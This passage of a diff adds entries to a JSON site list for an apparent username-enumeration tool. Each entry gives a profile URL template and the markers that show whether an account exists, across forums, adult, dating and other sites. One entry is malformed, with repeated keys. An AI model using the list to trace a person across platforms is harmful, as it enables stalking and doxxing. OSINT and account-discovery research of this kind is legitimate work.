"\"description\"" + }, + { + "name": "Wowjp", + "url": "https://wowjp.net/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "wowjp.net", + "url": "http://wowjp.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wowpaksi.clan.su", + "url": "http://wowpaksi.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wowpedia", + "url": "https://wowpedia.org/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "write.as", + "url": "https://write.as/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Writercenter", + "url": "https://writercenter.ru/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "writingforums.org", + "url": "http://www.writingforums.org//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wuz", + "url": "http://wuz.by/forum/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "ww2aircraft.net", + "url": "https://ww2aircraft.net/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wwork.my1.ru", + "url": "http://wwork.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "www.adultism.com", + "url": "https://www.adultism.com/profile/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not Found", + "match_string": "Member since" + }, + { + "name": "www.change.org", + "url": "https://www.change.org/o/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "first_name" + }, + { + "name": "www.dateamillionaire.com", + "url": "https://www.dateamillionaire.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "input[name=", + "match_string": "patch_fill profile_box" + }, + { + "name": "www.flickr.com", + "url": "https://www.flickr.com/groups/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ":404,", + "match_string": "username" + }, + { + "name": "www.freelancejob.ru", + "url": "https://www.freelancejob.ru/users/{}/", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<h1>\u041e\u0448\u0438\u0431\u043a\u0430 404</h1>", + "match_string": "\u041a\u043e\u043b-\u0432\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u043e\u0432 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "www.furaffinity.net", + "url": "https://www.furaffinity.net/gallery/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">The username ", + "match_string": "og:title" + }, + { + "name": "www.gamesradar.com", + "url": "https://www.gamesradar.com/uk/author/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "noindex", + "match_string": "Email" + }, + { + "name": "www.gta-multiplayer.cz", + "url": "https://www.gta-multiplayer.cz/en/profile/{}/gaming", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\t <h2>Page not found</h2>\r", + "match_string": "ProfileTabs" + }, + { + "name": "www.hsx.com", + "url": "https://www.hsx.com/profile/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "reg-container", + "match_string": "profile-info" + }, + { + "name": "www.inaturalist.org", + "url": "https://www.inaturalist.org/lists/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "display:none", + "match_string": "Profile" + }, + { + "name": "www.itemfix.com", + "url": "https://www.itemfix.com/c/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>ItemFix - Channel: ", + "match_string": "user_token" + }, + { + "name": "www.kinokopilka.pro", + "url": "https://www.kinokopilka.pro/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "profile" + }, + { + "name": "www.liinks.co", + "url": "https://www.liinks.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "_fs_namespace", + "match_string": "user" + }, + { + "name": "www.livios.be", + "url": "https://www.livios.be/nl/forum/leden/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "not found", + "match_string": " " + }, + { + "name": "www.portal-pisarski.pl", + "url": "https://www.portal-pisarski.pl/profil/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "obrazki/404.png", + "match_string": "profil/" + }, + { + "name": "www.sql.ru", + "url": "https://www.sql.ru/forum/actualsearch.aspx?a={}&ma=0", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435", + "match_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "www.stopstalk.com", + "url": "https://www.stopstalk.com/user/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "pupil", + "match_string": "" + }, + { + "name": "www.tagged.com", + "url": "http://www.tagged.com/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "lastName", + "match_string": "profile" + }, + { + "name": "www.tnaflix.com", + "url": "https://www.tnaflix.com/profile/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not Found", + "match_string": "profile-header" + }, + { + "name": "www.turpravda.com", + "url": "https://www.turpravda.com/profile/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Title", + "match_string": "email" + }, + { + "name": "www.xshaker.net", + "url": "https://www.xshaker.net/{}.html", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "/tube/txxxtv.html", + "match_string": "og:title" + }, + { + "name": "Wykop", + "url": "https://www.wykop.pl/ludzie/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "Aktywno\u015b\u0107 u\u017cytkownika" + }, + { + "name": "Wykop", + "url": "https://www.wykop.pl/ludzie/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wykop", + "url": "https://wykop.pl/ludzie/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Wyst\u0105pi\u0142 b\u0142\u0105d 404.", + "match_code": 200, + "match_string": "Profil:" + }, + { + "name": "Wykop", + "url": "https://wykop.pl/ludzie/{}/", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile:username" + }, + { + "name": "X", + "url": "https://api.x.com/i/users/username_available.json?username={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"reason\":\"available\"", + "match_code": 200, + "match_string": "\"reason\":\"taken\"" + }, + { + "name": "x-h2o.com", + "url": "http://www.x-h2o.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "X-time", + "url": "https://www.x-time.ru/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "content=\"noindex,follow" + }, + { + "name": "xakep.ru", + "url": "https://xakep.ru/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xakerminus.ucoz.ru", + "url": "http://xakerminus.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xanga", + "url": "https://{}.xanga.com/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Xanga 2.0 is Here!", + "match_string": "s Xanga Site | Just" + }, + { + "name": "Xanga", + "url": "http://{}.xanga.com/", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "match_code": 200, + "match_string": "s Xanga Site | Just" + }, + { + "name": "Xbox Gamertag", + "url": "https://xboxgamertag.com/search/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xbox Gamertag", + "url": "https://www.xboxgamertag.com/search/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Gamertag doesn't exist", + "match_code": 200, + "match_string": "Games Played" + }, + { + "name": "Xcams", + "url": "https://www.xcams.com/profile/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "not found", + "match_string": "years old" + }, + { + "name": "Xcraft", + "url": "https://xcraft.ru/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "<title>\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "XDA", + "url": "https://forum.xda-developers.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xeeders", + "url": "https://xeeders.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profiles_banner" + }, + { + "name": "xemera.at.ua", + "url": "http://xemera.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xenforo", + "url": "https://xenforo.com/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "xenforo.com", + "url": "https://xenforo.com/community//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xgm.guru", + "url": "https://xgm.guru/user/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f", + "match_string": "\u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c:" + }, + { + "name": "xHamster", + "url": "https://xhamster.com/users/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User not found", + "match_string": "user-info-section" + }, + { + "name": "Xhamster", + "url": "https://ru.xhamster.com/users/{}", + "category": "adult", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "XHAMSTER (users)", + "url": "https://www.xhamster.com/users/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "{username}" + }, + { + "name": "Xiaomi", + "url": "https://xiaomi.eu/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "xiaozhuanlan", + "url": "https://xiaozhuanlan.com/u/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Xing", + "url": "https://www.xing.com/profile/{}", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xitlar.ucoz.net", + "url": "http://xitlar.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xlovecam", + "url": "https://www.xlovecam.com/en/model/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "error 404", + "match_string": "years old" + }, + { + "name": "Xmswiki", + "url": "https://xmswiki.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "xn----7sbb0bfjrbhdi.xn--p1ai", + "url": "http://xn----7sbb0bfjrbhdi.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn----7sbcctevcqafop1aviko5l.xn--p1ai", + "url": "http://xn----7sbcctevcqafop1aviko5l.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn----7sbfejdvocrv7adem.xn--p1ai", + "url": "http://xn----7sbfejdvocrv7adem.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--24-6kcaal6ajt1cpibnu7d5dtc.xn--p1ai", + "url": "http://xn--24-6kcaal6ajt1cpibnu7d5dtc.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--80aepdb4ag.xn--p1ai", + "url": "http://xn--80aepdb4ag.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--80aqkf5cb.xn--p1ai", + "url": "http://xn--80aqkf5cb.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--90anbhklk.xn--p1ai", + "url": "http://xn--90anbhklk.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--90aybfeg.xn--p1ai", + "url": "http://xn--90aybfeg.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "XNXX", + "url": "https://www.xnxx.com/mobile/profile/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 400, + "error_string": "Bad request", + "match_code": 200, + "match_string": "<table id=\"profile\">" + }, + { + "name": "XNXX (porn-maker)", + "url": "https://www.xnxx.com/porn-maker/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "Porn Maker" + }, + { + "name": "XNXX (pornstars)", + "url": "https://www.xnxx.com/pornstar/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "Model page" + }, + { + "name": "xorazm-viloyati.ucoz.com", + "url": "http://xorazm-viloyati.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xpaja", + "url": "https://xpaja.net/user/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "header-channel" + }, + { + "name": "Xpanded", + "url": "https://xpanded.com/girls?search_profilename={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "but we were unable to find", + "match_string": ">Xpanded TV</a>" + }, + { + "name": "Xperiablog", + "url": "https://www.xperiablog.net/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Xrares", + "url": "https://xrares.com/user/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "error_string": "This user does not exist", + "match_string": "panel-body" + }, + { + "name": "xristos.vo.uz", + "url": "http://xristos.vo.uz/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xss", + "url": "https://xss.is/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "XSS.is", + "url": "https://xss.is/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xsssql", + "url": "http://www.xsssql.com/article/author/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "xt_ht_BLOCK_RU_IP", + "url": "http://{}.xt.ht/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "<b>[phpBB Debug] PHP Notice</b>" + }, + { + "name": "Xtratime", + "url": "https://www.xtratime.org/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "xtratime.org", + "url": "https://www.xtratime.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "XV Cams", + "url": "https://www.xvcams.com/models/bios/{}/about.php", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "The performer's bio you requested is not available.", + "match_string": "Webcam Bio - Naked Pics, Adult Videos, Sex Chat" + }, + { + "name": "Xvideos", + "url": "https://xvideos.com/profiles/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "XVIDEOS (pornstars)", + "url": "https://www.xvideos.com/pornstars/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "{username} - Channel page - XVIDEOS.COM" + }, + { + "name": "XVIDEOS (users/channels)", + "url": "https://www.xvideos.com/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "{username} - Channel page - XVIDEOS.COM" + }, + { + "name": "XVIDEOS Red", + "url": "https://www.xvideos.red/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Learn more", + "match_string": "video views" + }, + { + "name": "XVIDEOS-profiles", + "url": "https://www.xvideos.com/profiles/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "THIS PROFILE DOESN'T EXIST", + "match_code": 200, + "match_string": "page - XVIDEOS.COM" + }, + { + "name": "XvideosModels", + "url": "https://www.xvideos.com/models/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "THIS PROFILE DOESN'T EXIST", + "match_string": "Total video views" + }, + { + "name": "Xxxbunker", + "url": "https://xxxbunker.com/users/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "error_string": "FILE NOT FOUND", + "match_string": "\"profile\"" + }, + { + "name": "XXXfollow", + "url": "https://www.xxxfollow.com/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "XXX follow - Free TikTok Porn (formerly Xfollow)", + "match_string": "Views
" + }, + { + "name": "XXXForum.org", + "url": "https://xxxforum.org/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "xyuivet-mailcpy.moy.su", + "url": "http://xyuivet-mailcpy.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ya-uchitel", + "url": "https://ya-uchitel.ru//index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ya-uchitel", + "url": "https://ya-uchitel.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "yagubov.site", + "url": "http://yagubov.site/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Yahoo! JAPAN Auction", + "url": "https://auctions.yahoo.co.jp/follow/list/{}", + "category": "shopping", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 500, + "error_string": "Yahoo! JAPAN ID\u304c\u7121\u52b9\u3067\u3059\u3002", + "match_code": 200, + "match_string": "\u51fa\u54c1\u8005" + }, + { + "name": "Yalta-info", + "url": "http://www.yalta-info.net/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "yamaya.ru", + "url": "https://yamaya.ru/profile/?{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "

", + "match_string": "Skype:" + }, + { + "name": "Yandex_Dzen", + "url": "https://dzen.ru/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YandexBugbounty", + "url": "https://yandex.ru/bugbounty/researchers/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YandexCollections API", + "url": "https://yandex.ru/collections/api/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "cl-not-found-content__title", + "match_string": "public_id" + }, + { + "name": "YandexMarket", + "url": "https://market.yandex.ru/user/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "//yastatic.net/market-export/_/i/zero-state/404.svg" + }, + { + "name": "YandexMusic", + "url": "https://music.yandex.ru/users/{}/playlists", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YandexMusic", + "url": "https://music.yandex/users/{}/playlists", + "category": "music", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "\u041e\u0448\u0438\u0431\u043a\u0430 404" + }, + { + "name": "YandexReviews", + "url": "https://reviews.yandex.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u043a\u0440\u044b\u043b \u0441\u0432\u043e\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443", + "match_string": "content=\"\u041e\u0442\u0437\u044b\u0432\u044b \u0438 \u043e\u0446\u0435\u043d\u043a\u0438" + }, + { + "name": "YandexZenChannel", + "url": "https://dzen.ru/channel/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ".zen-ui-page-404", + "match_string": "zen_object_id" + }, + { + "name": "YandexZenUser", + "url": "https://zen.yandex.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YandexZnatoki", + "url": "https://yandex.ru/q/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Yapisal", + "url": "{urlMain}/u/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\"error_type\":\"not_found\"", + "match_string": "\"user\":{\"id\":" + }, + { + "name": "Yapisal", + "url": "https://forum.yapisal.net/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YaPishu.net", + "url": "https://yapishu.net/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code", + "match_string": "for_profile" + }, + { + "name": "Yareny", + "url": "https://yareny.com/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found!" + }, + { + "name": "Yazawaj", + "url": "https://www.yazawaj.com/profile/{}", + "category": "dating", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "nodata", + "match_code": 200, + "match_string": "profile-description" + }, + { + "name": "Yazawaj", + "url": "https://yazawaj.com/profile/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile/{username}" + }, + { + "name": "Yazbel", + "url": "https://forum.yazbel.com/u/{}/summary", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Yelp", + "url": "http://{}.yelp.com/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "viewName", + "match_string": "Username" + }, + { + "name": "Yelp (by id)", + "url": "https://www.yelp.com/user_details?userid={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error-page", + "match_string": "Birthday" + }, + { + "name": "yerkramas.do.am", + "url": "http://yerkramas.do.am/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YesWeHack", + "url": "https://api.yeswehack.com/hunters/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"code\":404", + "match_code": 200, + "match_string": "\"username\":" + }, + { + "name": "yka.kz", + "url": "http://yka.kz/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Yougame", + "url": "https://yougame.biz/{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YouNow", + "url": "https://www.younow.com/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No users found" + }, + { + "name": "YouNow", + "url": "https://api.younow.com/php/api/broadcast/info/user={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"errorMsg\":\"No users found\"", + "match_code": 200, + "match_string": "\"userId\":" + }, + { + "name": "Younow", + "url": "https://younow.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "is broadcasting" + }, + { + "name": "Younow", + "url": "https://www.younow.com/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "YouPic", + "url": "https://youpic.com/photographer/{}/", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "youpic", + "url": "https://youpic.com/photographer/{}", + "category": "art", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>YouPic \u2014 Not Found", + "match_code": 200, + "match_string": "404 Not Found", + "match_code": 200, + "match_string": "joinedDateText" + }, + { + "name": "YouTube User", + "url": "https://www.youtube.com/user/{}/about", + "category": "video", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "404 Not Found", + "match_code": 200, + "match_string": "joinedDateText" + }, + { + "name": "youtubechannel", + "url": "https://www.youtube.com/c/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "yras.ucoz.ru", + "url": "http://yras.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ytmnd", + "url": "https://www.ytmnd.com/users/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Unknown user" + }, + { + "name": "Ytmnd", + "url": "https://ytmnd.com/users/{}/", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user_profile_stats" + }, + { + "name": "Yummly", + "url": "https://mapi.yummly.com/mapi/v19/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "profileName" + }, + { + "name": "Yumpu", + "url": "https://www.yumpu.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "float-left", + "match_string": "yp-grid-mag-container yp-content-container" + }, + { + "name": "Yuvutu (profile)", + "url": "http://www.yuvutu.com/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">Members</span>", + "match_string": "personal info</h1>" + }, + { + "name": "Yuvutu (search)", + "url": "http://www.yuvutu.com/modules.php?name=Video&op=search&keywords={}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<strong>0 result(s)</strong>", + "match_string": ">1</a>" + }, + { + "name": "Yvision", + "url": "https://yvision.kz/u/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "helmet=\"true\">404", + "match_code": 200, + "match_string": "
